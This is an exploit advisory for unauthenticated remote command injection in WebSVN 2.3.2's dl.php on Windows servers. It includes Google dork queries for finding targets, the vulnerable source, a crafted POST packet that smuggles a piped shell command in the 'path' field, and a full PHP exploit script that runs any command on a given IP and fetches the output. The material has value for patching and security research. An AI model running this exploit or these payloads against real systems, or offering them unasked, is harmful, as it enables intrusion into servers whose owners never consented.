ExploitFixes
WebSVN 2.3.2 Unproper Metacharacters Escaping exec() Remote Command Injection 2011-06-04 09:15:06

WebSVN 2.3.2 Unproper Metacharacters Escaping exec() Remote
Commands Injection Vulnerability

tested against: Microsoft Windows Server R2 SP2
PHP 5.3.6 VC9 with magic_quotes_gpc = off (default)
Apache 2.2.17 VC9

Introduction:
This is a very special vulnerabilty, given the incredibly high number
of machines involved. This can be verified by submitting the following
queries to Google:

"Powered by WebSVN * and Subversion"
"Powered by WebSVN 2.3.2 and Subversion"

homepage url: http://websvn.tigris.org/

Description says:
"WebSVN offers a view onto your subversion repositories that's been designed to
reflect the Subversion methodology. You can view the log of any file or directory
and see a list of all the files changed, added or deleted in any given revision.
You can also view compare two versions of a file so as to see exactly what was
changed in a particular revision.

Since it's written using PHP, WebSVN is very portable and easy to install."

Vulnerabilty:

Without prior authentication, if the 'allowDownload' option is enabled
in config.php, meaning that a tarball download is allowed across all the
repositories (not uncommon), an attacker can invoke the dl.php script
and passing a well formed 'path' argument to execute arbitrary
commands against the underlying operating system.


Vulnerable code:

look at dl.php, lines 114-139:

...
} else {
@unlink($tempDir);
mkdir($tempDir);
// Create the name of the directory being archived
$archiveName = $path;
$isDir = (substr($archiveName, -1) == '/');
if ($isDir) {
$archiveName = substr($archiveName, 0, -1);
}
$archiveName = basename($archiveName);
if ($archiveName == '') {
$archiveName = $rep->name;
}
$plainfilename = $archiveName;
$archiveName .= '.r'.$rev;

// Export the requested path from SVN repository to the temp directory
$svnExportResult = $svnrep->exportRepositoryPath($path, $tempDir.DIRECTORY_SEPARATOR.$archiveName, $rev, $peg);

if ($svnExportResult != 0) {
header('HTTP/1.x 500 Internal Server Error', true, 500);
error_log('svn export failed for: '.$archiveName);
print 'svn export failed for "'.xml_entities($archiveName).'".';
removeDirectory($tempDir);
exit(0);
}
...


then look at exportRepositoryPath() function inside ./include/svnlook.php, lines 879-896:
...
// {{{ exportDirectory
//
// Exports the directory to the given location

function exportRepositoryPath($path, $filename, $rev = 0, $peg = '') {
$cmd = $this->svnCommandString('export', $path, $rev, $peg).' '.quote($filename); //<---------------
$retcode = 0;

execCommand($cmd, $retcode); //<----------------------

if ($retcode != 0) {
global $lang;
error_log($lang['BADCMD'].': '.escape($cmd));
}
return $retcode;
}

// }}}
...

again look at execCommand() function inside ./include/command.php, lines 107-123:

...
// {{{ execCommand

function execCommand($cmd, &$retcode) {
global $config;

// On Windows machines, the whole line needs quotes round it so that it's
// passed to cmd.exe correctly
// Since php 5.3.0 the quoting seems to be done internally

if ($config->serverIsWindows && version_compare(PHP_VERSION, '5.3.0alpha') === -1) {
$cmd = '"'.$cmd.'"'; //<------------ nonsense ...
}

return @exec($cmd, $tmp, $retcode); //<--------------------- boom
}

// }}}
...


also, look at quote() inside ./include/command.php:

...
// {{{ quote
//
// Quote a string to send to the command line

function quote($str) {
global $config;

if ($config->serverIsWindows) {
return '"'.$str.'"'; //<--------------------------- !!!
} else {
return escapeshellarg($str); //<------------ this should work properly on Linux instead
}
}

// }}}
...


Example packet:

POST /websvn/dl.php HTTP/1.1
User-Agent: Mozilla/4.0
Host: 192.168.0.1
Accept: */*
Cookie: storedsesstemplate=.%00; storedtemplate=.%00;
Content-Length: 42
Content-Type: application/x-www-form-urlencoded

path=./../../x%22%7Cver%3Esuntzu.txt%7C%22


the resulting command line is like this:

"c:\SVN\bin\svn" --non-interactive --config-dir C:\SVN\tmp\export "URL%20to%20repository%20%28e.g.%20file:///d:/SubVersion/proj%29./../../x%22%7Cver%3Esuntzu.txt%7C%[email protected]" "C:\Documents and Settings
\Administrator\Local Settings\Temp\web554.tmp\x"|ver>suntzu.txt|".r"

allowing you to inject arbitrary commands via the pipe char.

Proof of concept code:

<?php
/*
WebSVN 2.3.2 Unproper Metacharacters Escaping exec() Remote Commands Injection Exploit
by rgod

download url: http://websvn.tigris.org/

tested against: Microsoft Windows Server R2 SP2
PHP 5.3.6 VC9 with magic_quotes_gpc = off (default)
Apache 2.2.17 VC9

it needs the allowDownload option enabled in config.php, meaning
that a tarball download is allowed across all the repositories
(not uncommon)

*/
error_reporting(E_ALL ^ E_NOTICE);
set_time_limit(0);

$err[0] = "[!] This script is intended to be launched from the cli!";
$err[1] = "[!] You need the curl extesion loaded!";

if (php_sapi_name() <> "cli") {
die($err[0]);
}

function syntax() {
print("usage : php 9sg_websvn.php [ip_address] [command]\r\n" );
print("example: php 9sg_websvn.php 192.168.0.1 ver\r\n" );
die();
}

$argv[2] ? print("[*] Attacking...\n") :
syntax();

if (!extension_loaded('curl')) {
$win = (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') ? true :
false;
if ($win) {
!dl("php_curl.dll") ? die($err[1]) :
print("[*] curl loaded\n");
} else {
!dl("php_curl.so") ? die($err[1]) :
print("[*] curl loaded\n");
}
}

function _s($url, $is_post, $ck, $request) {
global $_use_proxy, $proxy_host, $proxy_port;
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
if ($is_post) {
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $request);
}
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
"Cookie: storedsesstemplate=.%00; storedtemplate=.%00; ".$ck ,


));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/4.0");
curl_setopt($ch, CURLOPT_TIMEOUT, 0);

if ($_use_proxy) {
curl_setopt($ch, CURLOPT_PROXY, $proxy_host.":".$proxy_port);
}
$_d = curl_exec($ch);
if (curl_errno($ch)) {
//die("[!] ".curl_error($ch)."\n");
} else {
curl_close($ch);
}
return $_d;
}
$host = $argv[1];
$port = 80;
$cmd = $argv[2];



$url = "http://$host:$port/websvn/dl.php";
$out = _s($url, 1, "", "path=./../../x".urlencode("\"|".$cmd.">suntzu.txt|\""));
//print($out."\n");

sleep(1);

$url = "http://$host:$port/websvn/suntzu.txt";
$out = _s($url, 0, "", "");
print($out."\n");


?>